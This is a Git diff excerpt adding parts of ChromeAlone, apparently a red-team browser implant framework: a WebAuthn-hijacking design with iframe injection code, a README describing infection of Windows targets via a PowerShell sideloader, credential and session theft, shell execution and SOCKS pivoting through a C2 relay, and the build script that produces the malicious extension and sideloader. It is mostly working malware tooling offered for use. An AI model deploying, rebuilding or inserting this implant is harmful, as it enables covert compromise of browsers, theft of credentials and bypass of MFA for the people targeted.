// Replace previous request (lazy expiration)
|
||||
activeWebAuthnRequest = {
|
||||
timestamp: Date.now(),
|
||||
originalRequest: legitimateRequest,
|
||||
targetDomains: targetDomains,
|
||||
used: false
|
||||
};
|
||||
|
||||
console.log('🔄 Active WebAuthn request updated, previous request replaced');
|
||||
}
|
||||
|
||||
// Iframe creation uses the current active request
|
||||
function createWebAuthnIframeFromActiveRequest() {
|
||||
if (!activeWebAuthnRequest || activeWebAuthnRequest.used) {
|
||||
console.log('❌ No active WebAuthn request available');
|
||||
return null;
|
||||
}
|
||||
|
||||
// Mark as used and create iframe for first available domain
|
||||
activeWebAuthnRequest.used = true;
|
||||
const targetDomain = activeWebAuthnRequest.targetDomains[0];
|
||||
const customRequest = createWebAuthnRequestForDomain(targetDomain, activeWebAuthnRequest.originalRequest);
|
||||
|
||||
return createWebAuthnIframe(targetDomain, btoa(JSON.stringify(customRequest)));
|
||||
}
|
||||
```
|
||||
|
||||
#### Authentication Piggybacking Process
|
||||
When legitimate user authentication occurs:
|
||||
1. **Trigger Detection** - Monitor for any WebAuthn request on the current page
|
||||
2. **Request Storage** - Replace any existing active request with the new legitimate request data
|
||||
3. **Context Preservation** - Maintain user interaction context for subsequent WebAuthn iframe usage
|
||||
4. **Single Domain Execution** - Create one hidden iframe using the current active request
|
||||
5. **Request Consumption** - Mark the active request as used to prevent duplicate usage
|
||||
6. **Automatic Expiration** - New legitimate requests automatically replace older unused requests
|
||||
|
||||
**Implementation Note**: This single active request design simplifies the background script implementation by avoiding complex queue management and naturally handles request expiration. Since legitimate WebAuthn requests typically occur every few minutes during normal browsing, the system maintains a fresh active request while automatically discarding stale ones. This lazy expiration approach prevents memory accumulation and ensures the injected requests use recent, valid authentication contexts.
|
||||
|
||||
## Attack Capabilities
|
||||
|
||||
### Cross-Domain Authentication Injection
|
||||
- **Single-Target Authentication** - Authenticate to one attacker domain per legitimate user authentication
|
||||
- **Context Exploitation** - Leverage user interaction for WebAuthn permissions to attacker domains
|
||||
- **Silent Registration** - Register new credentials on attacker sites without user awareness
|
||||
- **Request Replacement** - Continuously update target domains by replacing older requests with newer ones
|
||||
- **Multi-Factor Circumvention** - Bypass MFA by piggybacking on legitimate authentication sessions
|
||||
|
||||
### Content Manipulation
|
||||
- **Injection Attacks** - Execute arbitrary JavaScript on any website
|
||||
- **Phishing Enhancement** - Modify legitimate sites to capture additional data
|
||||
- **UI Manipulation** - Alter webpage content to deceive users
|
||||
- **Traffic Interception** - Monitor and modify all web communications
|
||||
|
||||
### Security Control Bypass
|
||||
- **CSP Neutralization** - Disable Content Security Policy protections
|
||||
- **Frame Breaking** - Bypass X-Frame-Options restrictions
|
||||
- **Same-Origin Policy Violations** - Access cross-origin resources
|
||||
- **Browser Security Feature Defeat** - Circumvent modern browser protections
|
||||
@@ -0,0 +1,113 @@
|
||||
# ChromeAlone - A Browser C2 Framework
|
||||
|
||||

|
||||
|
||||
# What does this get me?
|
||||
ChromeAlone is a browser implant that can be used in place of conventional implants like Cobalt Strike or Meterpreter. This repo provides a simple build process that will generate a management console, deploy infrastructure, and create a powershell sideloader script to run on targets.
|
||||
|
||||
After installation, each ChromeAlone implant will provide mechanisms for:
|
||||
|
||||
* Providing a SOCKS TCP Proxy on the host
|
||||
* Browser session stealing and credential capture
|
||||
* Launching executables on the host from Chrome
|
||||
* Phishing for WebAuthn requests for physical security tokens like YubiKeys or Titan Security Keys.
|
||||
* An EDR resistant form of persistence on host that is implemented entirely with Chromium's built-in features.
|
||||
|
||||
# Build Instructions
|
||||
|
||||
First build the docker container: `docker build -t chromealone .`
|
||||
|
||||
## Deployment Instructions
|
||||
|
||||
There are currently two supported deployment modes:
|
||||
|
||||
### Deployment from scratch via AWS
|
||||
|
||||
For this you'll need to have an AWS account configured with your credentials stored in `~/.aws/credentials`. Make sure your account has full EC2 write permissions along with Route53 permissions. Additionally it's assumed that your Route53 has been configured with at least 1 hosting zone containing a registered domain. If these conditions are met, then you can run:
|
||||
|
||||
```
|
||||
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService
|
||||
```
|
||||
|
||||
The `domain` value should match a domain under the control of your Route53 setup. `appname` can be whatever value you want, and will be used for naming several registry keys and folders on disk when deploying. It is recommended to use a fairly benign name like `UpdateService` or something equally innocuous.
|
||||
|
||||
This will deploy the BATTLEPLAN relay server to AWS and generate the following artifacts:
|
||||
|
||||
`output/client` - The control webapp to manage your ChromeAlone installs.
|
||||
|
||||
`output/sideloader.ps1` - The installation script to run on targets to infect their local browser instance. NOTE: There will also be an `iwa-sideloader.ps1` file for loading ONLY the Isolated Web App, and
|
||||
`extension-sideloader.ps1` for loading ONLY the browser extension.
|
||||
|
||||
`output/extension` - The generated malicious browser extension.
|
||||
|
||||
`output/iwa` - The generated malicious Isolated Web App signed webapp bundle file.
|
||||
|
||||
`output/relay-deployment` - Terraform artifacts from your AWS deployment including an SSH key for directly accessing the host.
|
||||
|
||||
### Generate Deployment scripts from an existing server deployment
|
||||
|
||||
If you've already deployed an instance, `output/relay-deployment/terraform.tfvars` will contain all the information necessary to generate new sideloader scripts + malicious extensions. You can point the ChromeAlone docker file at the `tfvars` file and it will skip the deployment step while maintaining the appropriate metadata to handle connections.
|
||||
|
||||
Run the build script `docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService` and it will generate a new malicious sideloader for your deployment.
|
||||
|
||||
## Installing on Hosts
|
||||
|
||||
Take `sideloader.ps1` and execute it on your target Windows 10 or Windows 11 machine by running `powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1`. Note that you can run with additional flags if you would like to install a NativeMessaging host (required for shelling out) or force chrome to restart (necessary if you want your extension to run immediately after running this script versus waiting for the next time the user opens Chrome). An example invocation with both of these flags is `powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true`. You can also modify the defaults at the top of the script from `false` to `true` if you wish these flags to automatically be used.
|
||||
|
||||
A complete script execution will take roughly 20-30 seconds.
|
||||
|
||||
# Operator Instructions
|
||||
|
||||
Once ChromeAlone is loaded, you can view any connected hosts by opening `output/client/index.html`. This webapp will be pre-configured to connect back to your deployed BATTLEPLAN relay instance. Note that by default, the relay is firewalled to only allow incoming control access on ports 1080-1181 from the IP that deployed the server. If you wish to modify this, you'll need to update the EC2 instance's network settings to include any additional machines.
|
||||
|
||||
Most commands can be run from the WebUI including:
|
||||
|
||||
* Dumping history + cookies (via the `Quick Commands` section, which requires selecting a target agent in the `Execute Command` section)
|
||||
* Capturing Credentials (these will appear via the `Captured Data` tab)
|
||||
* Forcing WebAuthn requests (via the `Execute Command` section)
|
||||
* File System reads (via the `File Browser` tab)
|
||||
* Executing Shell commands (via the `Interactive Shell` tab)
|
||||
|
||||
The primary exception to this is SOCKS proxying. Each infected host is assigned a unique SOCKS port for the server that can be seen under the `Agent Information` section, where each agent has a `Port` field. The assigned port, when combined with the `admin` credentials stored in `output/client/config.js` can be used to configure a host specific SOCKS proxy.
|
||||
|
||||
For example, say we have an agent where the port is 1081, our domain is `chrome.alone`, our username `admin` (this is always the case), and our password is `thisisnotarealpassword`. Here are some example usages:
|
||||
|
||||
```
|
||||
proxychains -q socks5 admin:thisisnotarealpassword@chrome.alone:1081 curl http://ifconfig.me
|
||||
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:thisisnotarealpassword@chrome.alone:1081
|
||||
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
|
||||
```
|
||||
|
||||
# What's in this Repository?
|
||||
|
||||
The ChromeAlone repository is broken down into components, many of which could be used individually as part of an assessment - but together represent the entire Chromium browser implant toolchain.
|
||||
|
||||
* `BATTLEPLAN` - This is the management server component of the toolchain. It contains terraform scripts for deploying to an AWS environment as well as an HTML client for interacting with the server post deployment.
|
||||
* `BLOWTORCH` - This is a malicious Isolated Web Application which uses `Direct Socket` permissions to implement a SOCKS TCP proxy and websocket server to enable communications between other chrome components. It also acts as the messaging bridge back to the `BATTLEPLAN` relay server.
|
||||
* `DOORKNOB` - This is a series of scripts used for generating powershell sideloaders for Isolated Web Apps and Chrome Extensions. The script in `build.sh` provides an example of how to create a single Powershell installer script that combines both of theses individual sideloaders into one.
|
||||
* `HOTWHEELS` - This is a malicious Chrome extension that implements all of its capabilities in Web Assembly. It provides the vast majority of ChromeAlone's feature sets for credential capture, session hijacking, shelling out, and reading the file system.
|
||||
* `PAINTBUCKET` - A series of content scripts that enable phishing for WebAuthn requests by hiding additional WebAuthn requests within iFrames in inactive tabs whenever a normal WebAuthn request is made.
|
||||
|
||||
# Who made this?
|
||||
|
||||
This tool has been written by [Mike Weber](https://www.linkedin.com/in/michael-weber-6a466517/) of Praetorian Security.
|
||||
|
||||
# License
|
||||
|
||||
ChromeAlone is licensed under the Apache License, Version 2.0.
|
||||
|
||||
```
|
||||
Copyright 2025 Praetorian Security, Inc
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
```
|
||||
@@ -0,0 +1,341 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
# Parse command line arguments
|
||||
DOMAIN_NAME=""
|
||||
APP_NAME="com.chrome.alone"
|
||||
OUTPUT_NAME="sideloader.ps1"
|
||||
TFVARS_FILE=""
|
||||
|
||||
# Function to display usage information
|
||||
show_usage() {
|
||||
echo "Usage: $0 [--domain=example.com] [--appname=com.chrome.alone] [--output=sideloader.ps1] [--tfvars=path/to/terraform.tfvars]"
|
||||
echo ""
|
||||
echo "Arguments:"
|
||||
echo " --domain=DOMAIN Domain name for the relay server (required unless --tfvars is provided)"
|
||||
echo " --appname=NAME Custom app name (optional, default: com.chrome.alone)"
|
||||
echo " --output=NAME Output file name (optional, default: sideloader.ps1)"
|
||||
echo " --tfvars=PATH Path to existing terraform.tfvars file (skips terraform deployment)"
|
||||
echo ""
|
||||
}
|
||||
|
||||
# Parse arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--domain=*)
|
||||
DOMAIN_NAME="${1#*=}"
|
||||
shift
|
||||
;;
|
||||
--appname=*)
|
||||
APP_NAME="${1#*=}"
|
||||
shift
|
||||
;;
|
||||
--output=*)
|
||||
OUTPUT_NAME="${1#*=}"
|
||||
shift
|
||||
;;
|
||||
--tfvars=*)
|
||||
TFVARS_FILE="${1#*=}"
|
||||
shift
|
||||
;;
|
||||
--help|-h)
|
||||
show_usage
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
# Unknown option
|
||||
echo "Unknown option: $1"
|
||||
show_usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Check if domain is provided or tfvars file is specified
|
||||
if [ -z "$DOMAIN_NAME" ] && [ -z "$TFVARS_FILE" ]; then
|
||||
echo "Error: Either domain name or tfvars file path is required"
|
||||
show_usage
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# If tfvars file is provided, validate it exists
|
||||
if [ -n "$TFVARS_FILE" ] && [ ! -f "$TFVARS_FILE" ]; then
|
||||
echo "Error: TFVARs file not found: $TFVARS_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -n "$TFVARS_FILE" ]; then
|
||||
echo "Using existing TFVARs file: $TFVARS_FILE"
|
||||
else
|
||||
echo "Domain Name: $DOMAIN_NAME"
|
||||
fi
|
||||
echo "App Name: ${APP_NAME:-Using default com.chrome.alone}"
|
||||
echo "Output Name: ${OUTPUT_NAME:-Using default sideloader.ps1}"
|
||||
|
||||
# Function to check if a command exists
|
||||
command_exists() {
|
||||
command -v "$1" >/dev/null 2>&1
|
||||
}
|
||||
|
||||
# Check for required dependencies
|
||||
echo "Checking for required dependencies..."
|
||||
MISSING_DEPS=0
|
||||
|
||||
for cmd in aws terraform npm node dotnet python3; do
|
||||
if ! command_exists $cmd; then
|
||||
echo "Error: $cmd is not installed or not in PATH"
|
||||
MISSING_DEPS=1
|
||||
fi
|
||||
done
|
||||
|
||||
if [ $MISSING_DEPS -eq 1 ]; then
|
||||
echo "Please install missing dependencies or use the Docker container"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Determine if we're in Docker or on local machine
|
||||
if [ -d "/project" ] && [ "$(pwd)" = "/home/builder" ]; then
|
||||
# We're in Docker, change to the mounted project directory
|
||||
echo "Running in Docker container, changing to project directory..."
|
||||
cd /project
|
||||
else
|
||||
# We're on a local machine, use current directory
|
||||
echo "Running on local machine, using current directory..."
|
||||
fi
|
||||
|
||||
# Store the project root directory
|
||||
PROJECT_ROOT=$(pwd)
|
||||
echo "Project root: $PROJECT_ROOT"
|
||||
|
||||
# Step 1: Deploy relay (skip if tfvars file provided)
|
||||
if [ -n "$TFVARS_FILE" ]; then
|
||||
echo "Step 1: Skipping terraform deployment (using provided TFVARs file)"
|
||||
# Copy the provided tfvars file to the expected location
|
||||
mkdir -p "$PROJECT_ROOT/output/relay-deployment"
|
||||
DEST_TFVARS="$PROJECT_ROOT/output/relay-deployment/terraform.tfvars"
|
||||
|
||||
# Check if source and destination are the same file to avoid cp error
|
||||
if [ "$TFVARS_FILE" -ef "$DEST_TFVARS" ]; then
|
||||
echo "TFVARs file is already in the correct location"
|
||||
else
|
||||
cp "$TFVARS_FILE" "$DEST_TFVARS"
|
||||
echo "Copied TFVARs file to $DEST_TFVARS"
|
||||
fi
|
||||
else
|
||||
echo "Step 1: Running .deploy-relay.sh from BATTLEPLAN/ directory"
|
||||
cd "$PROJECT_ROOT/BATTLEPLAN"
|
||||
bash ./deploy-relay.sh --domain "$DOMAIN_NAME"
|
||||
fi
|
||||
|
||||
# Extract domain_name and relay_token from terraform.tfvars
|
||||
TFVARS_PATH="$PROJECT_ROOT/output/relay-deployment/terraform.tfvars"
|
||||
if [ ! -f "$TFVARS_PATH" ]; then
|
||||
echo "Error: terraform.tfvars file not found at $TFVARS_PATH"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Extract values using grep and sed
|
||||
echo "Extracting configuration from terraform.tfvars..."
|
||||
EXTRACTED_DOMAIN=$(grep 'domain_name' "$TFVARS_PATH" | sed 's/domain_name = "\(.*\)"/\1/')
|
||||
EXTRACTED_TOKEN=$(grep 'relay_token' "$TFVARS_PATH" | sed 's/relay_token = "\(.*\)"/\1/')
|
||||
|
||||
if [ -z "$EXTRACTED_DOMAIN" ] || [ -z "$EXTRACTED_TOKEN" ]; then
|
||||
echo "Error: Could not extract domain_name or relay_token from terraform.tfvars"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Extracted domain: $EXTRACTED_DOMAIN"
|
||||
echo "Extracted token: ${EXTRACTED_TOKEN:0:8}..." # Only show first 8 chars for security
|
||||
|
||||
# Create .env file for webpack
|
||||
ENV_FILE="$PROJECT_ROOT/BLOWTORCH/.env"
|
||||
echo "Creating .env file for webpack at $ENV_FILE"
|
||||
cat > "$ENV_FILE" << EOF
|
||||
WS_DOMAIN=$EXTRACTED_DOMAIN
|
||||
RELAY_TOKEN=$EXTRACTED_TOKEN
|
||||
EOF
|
||||
|
||||
# Step 2: Install npm dependencies
|
||||
echo "Step 2: Running npm install"
|
||||
cd "$PROJECT_ROOT/BLOWTORCH"
|
||||
npm install
|
||||
|
||||
# Step 2a: Generate IWA signing keys
|
||||
if [ ! -f "cert.pem" ] || [ ! -f "private.key" ]; then
|
||||
echo "Generating IWA signing keys..."
|
||||
npm run generate-keys
|
||||
fi
|
||||
|
||||
# Step 3: Build the IWA extension in Prod mode
|
||||
echo "Step 3: Running npm run build:prod"
|
||||
# The .env file will be used by webpack.config.cjs
|
||||
npm run build:prod
|
||||
|
||||
# Step 3a move signed web bundle to the output folder
|
||||
mkdir -p "$PROJECT_ROOT/output/iwa"
|
||||
mv "$PROJECT_ROOT/BLOWTORCH/dist/app.swbn" "$PROJECT_ROOT/output/iwa/app.swbn"
|
||||
rm -rf "$PROJECT_ROOT/BLOWTORCH/dist"
|
||||
rm $ENV_FILE
|
||||
|
||||
# Step 4: Build the extension
|
||||
echo "Step 4: Building the extension"
|
||||
cd "$PROJECT_ROOT"
|
||||
|
||||
# Step 4a: Copy the extension files
|
||||
cp -r ./HOTWHEELS/extension/ ./output/extension/
|
||||
cp ./PAINTBUCKET/ContentScriptInject/*.js ./output/extension/
|
||||
|
||||
# Step 4b: Build the WASM files
|
||||
GOOS=js GOARCH=wasm go build -trimpath -ldflags "-s -w" -o ./output/extension/wasm/main.wasm ./HOTWHEELS/wasm/content-script/
|
||||
GOOS=js GOARCH=wasm go build -trimpath -ldflags "-s -w -X main.EXTENSION_NAME=$APP_NAME" -o output/extension/wasm/background.wasm ./HOTWHEELS/wasm/background-script/
|
||||
|
||||
# Step 4c: build the native messaging host
|
||||
dotnet build -c Release -r win-x64 -o output/extension/ ./DOORKNOB/ExtensionSideloader/dotnet/NativeAppHost/NativeAppHost.csproj
|
||||
|
||||
# Step 4d: Build our support dotnet libraries
|
||||
cd "$PROJECT_ROOT/DOORKNOB/IWASideloader/RegHelper"
|
||||
dotnet build -c Release -r win-x64 .
|
||||
cd "$PROJECT_ROOT/DOORKNOB/IWASideloader/HiddenDesktopNative"
|
||||
dotnet build -c Release -r win-x64 .
|
||||
|
||||
# Step 5: Create sideloaders
|
||||
echo "Step 5: Creating sideloaders"
|
||||
|
||||
# Step 5a: Create IWA Sideloader
|
||||
cd "$PROJECT_ROOT"
|
||||
|
||||
echo "Using APP_NAME: $APP_NAME"
|
||||
|
||||
# Create sideloader with appropriate arguments
|
||||
python3 ./DOORKNOB/IWASideloader/createSideloader.py ./output/iwa/app.swbn --appname="$APP_NAME" --output=./output/iwa-sideloader.ps1
|
||||
|
||||
# Step 5b: Create Chrome Sideloader
|
||||
python3 ./DOORKNOB/ExtensionSideloader/powershell/build_sideloader.py ./output/extension "%LOCALAPPDATA%\Google\\$APP_NAME" --output=./output/extension-sideloader.ps1
|
||||
|
||||
# Step 5c: Create combined sideloader script:
|
||||
echo "Creating combined sideloader script..."
|
||||
|
||||
# Determine the actual APP_NAME being used (same logic as the individual sideloaders)
|
||||
ACTUAL_APP_NAME="${APP_NAME:-com.chrome.alone}"
|
||||
echo "Using APP_NAME: $ACTUAL_APP_NAME for combined sideloader"
|
||||
|
||||
# Create the combined script header with unified parameters
|
||||
cat > ./output/sideloader.ps1 << EOF
|
||||
# Combined Chrome Extension and IWA Sideloader Script
|
||||
# This script can install Chrome Extension, IWA, or both
|
||||
|
||||
param(
|
||||
[string]\$Mode = "both", # "extension", "iwa", or "both"
|
||||
[string]\$APP_NAME = "$ACTUAL_APP_NAME",
|
||||
[string]\$ExtensionInstallDir = "%LOCALAPPDATA%\Google\\$ACTUAL_APP_NAME",
|
||||
[string]\$ExtensionDescription = "Chrome Extension",
|
||||
[string]\$InstallNativeMessagingHost = "false",
|
||||
[string]\$ForceRestartChrome = "false"
|
||||
)
|
||||
|
||||
Write-Host "Combined Chrome Extension and IWA Sideloader" -ForegroundColor Cyan
|
||||
Write-Host "Mode: \$Mode" -ForegroundColor Yellow
|
||||
Write-Host "APP_NAME: '\$APP_NAME'" -ForegroundColor Yellow
|
||||
Write-Host "APP_NAME Length: \$(\$APP_NAME.Length)" -ForegroundColor Yellow
|
||||
|
||||
EOF
|
||||
|
||||
# Add extension sideloader functions (remove param block and execution logic)
|
||||
echo "# === EXTENSION SIDELOADER FUNCTIONS ===" >> ./output/sideloader.ps1
|
||||
sed '/^param(/,/^)$/d; /^# Run the main function only/,$d' ./output/extension-sideloader.ps1 >> ./output/sideloader.ps1
|
||||
|
||||
# Add IWA sideloader content (wrap in function)
|
||||
echo "" >> ./output/sideloader.ps1
|
||||
echo "# === IWA SIDELOADER FUNCTIONS ===" >> ./output/sideloader.ps1
|
||||
echo "function Install-IWA {" >> ./output/sideloader.ps1
|
||||
|
||||
# Set APP_NAME locally within the function
|
||||
echo ' $env:APP_NAME = $APP_NAME' >> ./output/sideloader.ps1
|
||||
echo "" >> ./output/sideloader.ps1
|
||||
|
||||
# Extract the IWA installation logic (after the bundleData definition, skip original APP_NAME line)
|
||||
sed -n '/^\$bundleData = @"/,/^"@$/p' ./output/iwa-sideloader.ps1 >> ./output/sideloader.ps1
|
||||
sed -n '/^"@$/,$p' ./output/iwa-sideloader.ps1 | tail -n +2 | sed '/^\$env:APP_NAME/d' >> ./output/sideloader.ps1
|
||||
|
||||
echo "}" >> ./output/sideloader.ps1
|
||||
|
||||
# Add main execution logic
|
||||
cat >> ./output/sideloader.ps1 << 'EOF'
|
||||
|
||||
# === MAIN EXECUTION LOGIC ===
|
||||
try {
|
||||
# Resolve the ExtensionInstallDir with APP_NAME substitution
|
||||
$ExtensionInstallDir = $ExtensionInstallDir -replace '\$APP_NAME', $APP_NAME
|
||||
|
||||
if ($Mode -eq "extension" -or $Mode -eq "both") {
|
||||
Write-Host "`nInstalling Chrome Extension..." -ForegroundColor Green
|
||||
Write-Host "Extension install directory: $ExtensionInstallDir" -ForegroundColor Yellow
|
||||
Main # Call the extension installation function
|
||||
}
|
||||
|
||||
if ($Mode -eq "iwa" -or $Mode -eq "both") {
|
||||
Write-Host "`nInstalling IWA..." -ForegroundColor Green
|
||||
Install-IWA # Call the IWA installation function
|
||||
}
|
||||
|
||||
Write-Host "`nInstallation completed successfully!" -ForegroundColor Green
|
||||
} catch {
|
||||
Write-Error "Installation failed: $($_.Exception.Message)"
|
||||
exit 1
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "Combined sideloader script created successfully"
|
||||
|
||||
# Step 6: Configure Relay Agent Webapp:
|
||||
echo "Step 6: Configuring Relay Agent Webapp"
|
||||
|
||||
# Step 6a: Copy client files to output directory
|
||||
echo "Step 6a: Copying client files to output/client/"
|
||||
mkdir -p "$PROJECT_ROOT/output/client"
|
||||
cp -r "$PROJECT_ROOT/BATTLEPLAN/client/"* "$PROJECT_ROOT/output/client/"
|
||||
|
||||
# Step 6b: Extract configuration and update config.js
|
||||
echo "Step 6b: Updating config.js with relay configuration"
|
||||
|
||||
# Extract values from TFVARs file format
|
||||
RELAY_HOST=$(grep 'domain_name' "$TFVARS_PATH" | sed 's/domain_name = "\(.*\)"/\1/')
|
||||
RELAY_PORT="1080" # Default SOCKS5 port
|
||||
RELAY_USERNAME=$(grep 'proxy_user' "$TFVARS_PATH" | sed 's/proxy_user = "\(.*\)"/\1/')
|
||||
RELAY_PASSWORD=$(grep 'proxy_pass' "$TFVARS_PATH" | sed 's/proxy_pass = "\(.*\)"/\1/')
|
||||
|
||||
# Validate extracted values
|
||||
if [ -z "$RELAY_HOST" ] || [ -z "$RELAY_PORT" ] || [ -z "$RELAY_USERNAME" ] || [ -z "$RELAY_PASSWORD" ]; then
|
||||
echo "Error: Could not extract all required values from terraform.tfvars"
|
||||
echo "Host: $RELAY_HOST, Port: $RELAY_PORT, Username: $RELAY_USERNAME"
|
||||
echo "Make sure the tfvars file contains: domain_name, proxy_user, and proxy_pass"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Updating config.js with extracted values:"
|
||||
echo " Host: $RELAY_HOST"
|
||||
echo " Port: $RELAY_PORT"
|
||||
echo " Username: $RELAY_USERNAME"
|
||||
echo " Password: ${RELAY_PASSWORD:0:8}..." # Only show first 8 chars for security
|
||||
|
||||
# Update config.js with extracted values
|
||||
CONFIG_JS_FILE="$PROJECT_ROOT/output/client/config.js"
|
||||
# Escape special characters in the values for sed
|
||||
RELAY_HOST_ESCAPED=$(printf '%s\n' "$RELAY_HOST" | sed 's/[[\.*^$()+?{|]/\\&/g')
|
||||
RELAY_PORT_ESCAPED=$(printf '%s\n' "$RELAY_PORT" | sed 's/[[\.*^$()+?{|]/\\&/g')
|
||||
RELAY_USERNAME_ESCAPED=$(printf '%s\n' "$RELAY_USERNAME" | sed 's/[[\.*^$()+?{|]/\\&/g')
|
||||
RELAY_PASSWORD_ESCAPED=$(printf '%s\n' "$RELAY_PASSWORD" | sed 's/[[\.*^$()+?{|]/\\&/g')
|
||||
|
||||
sed -i.backup \
|
||||
-e "s|defaultHost: \"[^\"]*\"|defaultHost: \"$RELAY_HOST_ESCAPED\"|" \
|
||||
-e "s|defaultPort: \"[^\"]*\"|defaultPort: \"$RELAY_PORT_ESCAPED\"|" \
|
||||
-e "s|defaultUsername: \"[^\"]*\"|defaultUsername: \"$RELAY_USERNAME_ESCAPED\"|" \
|
||||
-e "s|defaultPassword: \"[^\"]*\"|defaultPassword: \"$RELAY_PASSWORD_ESCAPED\"|" \
|
||||
"$CONFIG_JS_FILE"
|
||||
|
||||
# Remove backup file
|
||||
rm -f "$CONFIG_JS_FILE.backup"
|
||||
|
||||
echo "Step 6: Client configuration completed successfully"
|
||||
|
||||
echo "Build completed successfully! Interact with your extension relay by opening output/client/index.html"
|
||||
Reference in New Issue
Block a user